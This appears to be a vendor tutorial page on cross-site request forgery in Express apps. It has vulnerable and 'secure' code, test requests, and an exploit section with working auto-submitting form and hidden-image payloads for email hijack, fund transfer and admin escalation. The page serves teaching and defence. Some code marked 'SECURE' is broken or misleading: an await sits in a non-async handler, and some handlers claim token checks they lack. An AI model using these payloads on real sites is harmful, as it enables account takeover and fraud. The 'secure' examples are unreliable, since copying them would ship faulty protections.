Cross Site Request Forgery

CSRFSession RidingCross Site Form Posting

Cross Site Request Forgery at a glance

What it is: A different origin makes the victim's browser send a state changing request that carries the victim's cookies or ambient credentials.
Why it happens: CSRF vulnerabilities occur when state-changing requests rely on cookies without proper CSRF tokens, often due to disabled protections, exempt routes, or overreliance on SameSite settings.
How to fix: Protect against CSRF with tokens on unsafe methods, enforce SameSite cookies and strict CORS, and use stateless tokens for API authentication.

Overview

CSRF happens when a site relies on ambient credentials like cookies and does not require a per request proof of origin and intent. Attackers host a page that auto submits a form or triggers a request from the victim browser. If the target accepts the request without a token or strict origin checks, state changes occur in the victim session.

Modern defenses combine server validated CSRF tokens with cookie SameSite and correct CORS. For APIs, consider moving away from cookies to explicit Authorization headers with double submit or other protections when necessary.

sequenceDiagram participant VictimBrowser as Victim Browser participant App as App Server VictimBrowser->>App: POST /email with victim cookies App-->>VictimBrowser: 200 OK, state changed
A potential flow for a Cross Site Request Forgery exploit

Where it occurs

It occurs on form submissions or API endpoints using cookie sessions without proper CSRF protection, often due to disabled middleware or overreliance on SameSite cookies.

Impact

Attackers can change email addresses, enable MFA to their device, transfer funds, or modify settings. Because requests are made by the victim browser with valid cookies, logs appear normal.

Prevention

Prevent CSRF by enforcing tokens on unsafe methods, setting cookies with SameSite=Lax/Strict, Secure, and HttpOnly, rejecting requests without valid tokens, and using Authorization headers or double-submit tokens for SPAs.

Examples

Switch tabs to view language/framework variants.

Express, state changing POST lacks CSRF protection

App uses a cookie based session and accepts POST without a CSRF token.

Vulnerable
JavaScript • Express — Bad
const express = require('express');
const session = require('express-session');
const app = express();
app.use(session({ secret: 'dev', cookie: { sameSite: 'none' } }));
app.use(express.urlencoded({ extended: false }));

app.post('/email', (req, res) => {
  // BUG: no CSRF validation
  req.session.email = req.body.email;
  res.send('ok');
});
  • Line 6: Cookie session with SameSite none permits cross site send
  • Line 9: No token validation on a state change

With cookie auth and no CSRF token, a cross site form can change state in the victim session.

Secure
JavaScript • Express — Good
const csrf = require('csurf');
app.use(csrf({ cookie: true }));
app.get('/email', (req, res) => {
  res.send(`<form method="post"><input name="email"><input type="hidden" name="_csrf" value="${req.csrfToken()}"><button>Save</button></form>`);
});
app.post('/email', (req, res) => { req.session.email = req.body.email; res.send('ok'); });
  • Line 1: CSRF middleware issues and validates a token
  • Line 3: Token included as hidden field

CSRF tokens bind the request to the site and user interaction. SameSite=Lax or Strict adds another layer.

Engineer Checklist

  • Require CSRF tokens on POST, PUT, PATCH, DELETE

  • Keep cookies SameSite Lax or Strict, set Secure and HttpOnly

  • Do not exempt sensitive routes from CSRF middleware

  • For SPAs, prefer bearer tokens over cookies, or add double submit tokens

  • Validate Origin and Referer headers as an additional signal

End-to-End Example

An Express app uses cookie sessions and accepts POST /email without a CSRF token. An attacker hosts a page that auto submits a form to that endpoint while the victim is logged in.

Vulnerable
JAVASCRIPT
// Node.js/Express - Vulnerable to CSRF

// VULNERABLE: State-changing POST without CSRF protection
app.post('/change-email', (req, res) => {
  const { email } = req.body;
  
  // VULNERABLE: No CSRF token validation!
  // Attacker can make victim's browser send this request
  req.session.email = email;
  
  res.json({ message: 'Email updated' });
});

// VULNERABLE: Money transfer without CSRF protection
app.post('/transfer', authenticateSession, async (req, res) => {
  const { to, amount } = req.body;
  
  // VULNERABLE: Session auth alone is not enough!
  // Browser automatically sends session cookie
  // Attacker hosts form that posts here
  
  await db.transfers.create({
    from: req.user.id,
    to,
    amount
  });
  
  res.json({ success: true });
});

// VULNERABLE: Password change without CSRF token
app.post('/change-password', authenticateSession, async (req, res) => {
  const { currentPassword, newPassword } = req.body;
  
  // VULNERABLE: Even checking current password isn't enough!
  // Attacker can't guess it, but doesn't need to
  // They just trick victim into submitting the form
  
  const user = await User.findById(req.user.id);
  const valid = await bcrypt.compare(currentPassword, user.passwordHash);
  
  if (!valid) {
    return res.status(401).json({ error: 'Wrong password' });
  }
  
  user.passwordHash = await bcrypt.hash(newPassword, 12);
  await user.save();
  
  res.json({ message: 'Password changed' });
});

// VULNERABLE: Delete account without protection
app.post('/delete-account', authenticateSession, async (req, res) => {
  // VULNERABLE: Destructive action with no CSRF protection!
  // Attacker hosts: <img src="https://app.example.com/delete-account" />
  // Or JavaScript: fetch('https://app.example.com/delete-account', {method:'POST', credentials:'include'})
  
  await User.deleteOne({ _id: req.user.id });
  
  res.json({ message: 'Account deleted' });
});

// VULNERABLE: API with CORS misconfiguration
app.post('/api/settings', authenticateSession, (req, res) => {
  const { theme, notifications } = req.body;
  
  // VULNERABLE: CORS allows credentials from any origin
  res.header('Access-Control-Allow-Origin', req.get('Origin'));
  res.header('Access-Control-Allow-Credentials', 'true');
  
  // Even with session auth, CSRF is possible via CORS
  req.user.settings = { theme, notifications };
  
  res.json({ success: true });
});

// VULNERABLE: GET request that changes state
app.get('/unsubscribe', (req, res) => {
  const { email } = req.query;
  
  // VULNERABLE: GET should be idempotent!
  // Attacker can trigger with: <img src="/unsubscribe?email=victim@example.com" />
  
  db.unsubscribe(email);
  
  res.send('Unsubscribed');
});

// VULNERABLE: Form without SameSite cookie
app.use(session({
  secret: 'my-secret',
  cookie: {
    httpOnly: true,
    secure: true
    // VULNERABLE: Missing sameSite!
    // Cookie sent on cross-site requests
  }
}));

// VULNERABLE: JSON API without proper validation
app.post('/api/admin/promote', authenticateSession, requireAdmin, (req, res) => {
  const { userId } = req.body;
  
  // VULNERABLE: Relies only on session
  // Attacker tricks admin into visiting malicious page
  // Page makes fetch() request with credentials: 'include'
  
  db.users.update({ _id: userId }, { role: 'admin' });
  
  res.json({ success: true });
});
Secure
JAVASCRIPT
// Node.js/Express - Protected against CSRF

const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

// SECURE: Session cookies with SameSite
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: 'strict'  // SECURE: Blocks cross-site cookie sending
  },
  resave: false,
  saveUninitialized: false
}));

// SECURE: Apply CSRF protection to all state-changing routes
app.use(csrfProtection);

// SECURE: Provide CSRF token to frontend
app.get('/api/csrf-token', (req, res) => {
  res.json({ csrfToken: req.csrfToken() });
});

// SECURE: Form with CSRF token
app.get('/change-email', authenticateSession, (req, res) => {
  res.send(`
    <html>
      <body>
        <form method="POST" action="/change-email">
          <input name="email" type="email" required />
          <!-- SECURE: CSRF token in hidden field -->
          <input type="hidden" name="_csrf" value="${req.csrfToken()}" />
          <button type="submit">Update Email</button>
        </form>
      </body>
    </html>
  `);
});

app.post('/change-email', authenticateSession, (req, res) => {
  // SECURE: csrfProtection middleware validates token automatically
  const { email } = req.body;
  
  req.session.email = email;
  res.json({ message: 'Email updated' });
});

// SECURE: Money transfer with CSRF protection
app.post('/transfer', authenticateSession, (req, res) => {
  // SECURE: Token validated by middleware
  const { to, amount } = req.body;
  
  // Additional validation
  if (amount > 10000) {
    return res.status(400).json({ error: 'Amount exceeds limit' });
  }
  
  await db.transfers.create({
    from: req.user.id,
    to,
    amount
  });
  
  res.json({ success: true });
});

// SECURE: Password change with CSRF token
app.post('/change-password', authenticateSession, async (req, res) => {
  // SECURE: CSRF token required
  const { currentPassword, newPassword } = req.body;
  
  const user = await User.findById(req.user.id);
  const valid = await bcrypt.compare(currentPassword, user.passwordHash);
  
  if (!valid) {
    return res.status(401).json({ error: 'Wrong password' });
  }
  
  user.passwordHash = await bcrypt.hash(newPassword, 12);
  await user.save();
  
  res.json({ message: 'Password changed' });
});

// SECURE: Delete account with CSRF and confirmation
app.post('/delete-account', authenticateSession, async (req, res) => {
  // SECURE: CSRF token validated
  // Also require confirmation code for extra safety
  const { confirmationCode } = req.body;
  
  if (confirmationCode !== req.session.deleteConfirmation) {
    return res.status(400).json({ error: 'Invalid confirmation' });
  }
  
  await User.deleteOne({ _id: req.user.id });
  req.session.destroy();
  
  res.json({ message: 'Account deleted' });
});

// SECURE: API with proper CORS configuration
const ALLOWED_ORIGINS = ['https://app.example.com'];

app.post('/api/settings', authenticateSession, (req, res) => {
  const origin = req.get('Origin');
  
  // SECURE: Only allow specific origins
  if (origin && ALLOWED_ORIGINS.includes(origin)) {
    res.header('Access-Control-Allow-Origin', origin);
    res.header('Access-Control-Allow-Credentials', 'true');
  }
  
  // SECURE: Still validate CSRF token even with CORS
  const { theme, notifications } = req.body;
  req.user.settings = { theme, notifications };
  
  res.json({ success: true });
});

// SECURE: Use POST for state changes, not GET
app.post('/unsubscribe', (req, res) => {
  const { email, token } = req.body;
  
  // SECURE: POST with CSRF token
  // Or use a signed unsubscribe token in email link
  
  db.unsubscribe(email);
  res.json({ message: 'Unsubscribed' });
});

// SECURE: SPA frontend integration
app.get('/app', (req, res) => {
  res.send(`
    <html>
      <head>
        <script>
          // SECURE: Fetch CSRF token on page load
          let csrfToken;
          
          fetch('/api/csrf-token')
            .then(r => r.json())
            .then(data => {
              csrfToken = data.csrfToken;
            });
          
          // SECURE: Include token in all state-changing requests
          async function updateEmail(email) {
            const response = await fetch('/change-email', {
              method: 'POST',
              headers: {
                'Content-Type': 'application/json',
                'CSRF-Token': csrfToken  // Send in header
              },
              body: JSON.stringify({ email }),
              credentials: 'same-origin'
            });
            return response.json();
          }
        </script>
      </head>
      <body>
        <h1>Settings</h1>
      </body>
    </html>
  `);
});

// SECURE: Custom CSRF middleware with double-submit cookie pattern
function doubleCsrfProtection(req, res, next) {
  if (req.method === 'GET' || req.method === 'HEAD' || req.method === 'OPTIONS') {
    return next();
  }
  
  // Get token from header or body
  const tokenFromRequest = req.get('CSRF-Token') || req.body._csrf;
  
  // Get token from cookie
  const tokenFromCookie = req.cookies.csrfToken;
  
  // SECURE: Tokens must match
  if (!tokenFromRequest || !tokenFromCookie || tokenFromRequest !== tokenFromCookie) {
    return res.status(403).json({ error: 'CSRF token validation failed' });
  }
  
  next();
}

// SECURE: Validate Origin and Referer headers
app.use((req, res, next) => {
  if (req.method !== 'GET' && req.method !== 'HEAD') {
    const origin = req.get('Origin');
    const referer = req.get('Referer');
    
    // SECURE: Check origin matches our domain
    if (origin) {
      const originUrl = new URL(origin);
      if (originUrl.hostname !== 'app.example.com') {
        return res.status(403).json({ error: 'Invalid origin' });
      }
    }
    
    // SECURE: Check referer if present
    if (referer) {
      const refererUrl = new URL(referer);
      if (refererUrl.hostname !== 'app.example.com') {
        return res.status(403).json({ error: 'Invalid referer' });
      }
    }
  }
  
  next();
});

Discovery

Test if state-changing requests lack CSRF tokens or if tokens are not properly validated, allowing forged cross-origin requests.

  1. 1. Test for missing CSRF token

    http

    Action

    Submit state-changing request without CSRF token

    Request

    POST https://app.example.com/api/account/email
    Headers:
    Cookie: session_id=abc123xyz789
    Content-Type: application/json
    Body:
    {
      "email": "attacker@evil.com"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Email updated successfully",
      "email": "attacker@evil.com"
    }

    Artifacts

    csrf_vulnerability_confirmed no_token_required state_change_allowed
  2. 2. Test CSRF on password change

    http

    Action

    Change password without CSRF protection

    Request

    POST https://app.example.com/api/account/password
    Headers:
    Cookie: session_id=victim-session-token
    Body:
    {
      "new_password": "AttackerPassword123!"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Password changed successfully",
      "note": "No CSRF token required, no re-authentication required"
    }

    Artifacts

    password_change_csrf account_takeover_vector no_reauth_required
  3. 3. Test CSRF on financial transaction

    http

    Action

    Submit money transfer without CSRF token

    Request

    POST https://bank.example.com/api/transfer
    Headers:
    Cookie: auth_token=victim-bank-session
    Body:
    {
      "to_account": "attacker-account-9999",
      "amount": 5000
    }

    Response

    Status: 200
    Body:
    {
      "message": "Transfer successful",
      "transaction_id": "TXN-12345",
      "amount": 5000,
      "to_account": "attacker-account-9999"
    }

    Artifacts

    financial_csrf unauthorized_transfer fund_theft

Exploit steps

Attacker hosts malicious webpage that submits forged requests to victim application when visited by authenticated user, causing account takeover or unauthorized transactions.

  1. 1. Account takeover via email change CSRF

    Change victim's email to attacker-controlled address

    http

    Action

    Victim visits attacker page containing hidden form that changes their email

    Request

    POST https://app.example.com/api/account/email
    Body:
    {
      "html_payload": "<html><body><form id='csrf' action='https://app.example.com/api/account/email' method='POST'><input name='email' value='attacker@evil.com'/></form><script>document.getElementById('csrf').submit();</script></body></html>",
      "note": "Victim with active session visits attacker page at attacker.com/trap.html"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Email changed from victim@company.com to attacker@evil.com. Attacker can now reset password via email, gaining full account access.",
      "account_status": "compromised"
    }

    Artifacts

    email_hijack password_reset_vector account_takeover
  2. 2. Unauthorized fund transfer via CSRF

    Transfer money from victim to attacker account

    http

    Action

    Malicious page submits transfer request using victim's session

    Request

    POST https://bank.example.com/api/transfer
    Body:
    {
      "html_payload": "<img src='https://bank.example.com/api/transfer?to_account=attacker-9999&amount=10000' style='display:none'/>",
      "note": "Victim visits page, browser automatically sends GET request with cookies"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Transferred $10,000 from victim account #1234 to attacker account #9999",
      "transaction_id": "TXN-98765",
      "victim_balance_remaining": "$2,450"
    }

    Artifacts

    unauthorized_transaction fund_theft financial_fraud
  3. 3. Privilege escalation via CSRF

    Change user role to admin via CSRF

    http

    Action

    Admin user visits malicious page that changes attacker's role to admin

    Request

    POST https://app.example.com/admin/users/9999/role
    Body:
    {
      "html_payload": "<form id='priv' action='https://app.example.com/admin/users/9999/role' method='POST'><input name='role' value='admin'/></form><script>document.getElementById('priv').submit();</script>",
      "note": "Admin visits attacker page while logged in"
    }

    Response

    Status: 200
    Body:
    {
      "message": "User 9999 role changed to admin",
      "user": {
        "id": 9999,
        "username": "attacker",
        "role": "admin",
        "permissions": [
          "users:read",
          "users:write",
          "users:delete",
          "system:admin"
        ]
      }
    }

    Artifacts

    privilege_escalation admin_access_gained csrf_privilege_abuse

Specific Impact

Account state changes without user intent. This can redirect alerts, enable recovery paths controlled by the attacker, and lock users out.

Fraud flows can be chained by changing payment or shipping details through CSRF in a logged in session.

Fix

Server issues a token and requires it on POST. Cookies also use SameSite and Secure to reduce cross site delivery.

For API endpoints, avoid cookies and use Authorization headers with strict CORS.

Detect This Vulnerability in Your Code

Sourcery automatically identifies cross site request forgery vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free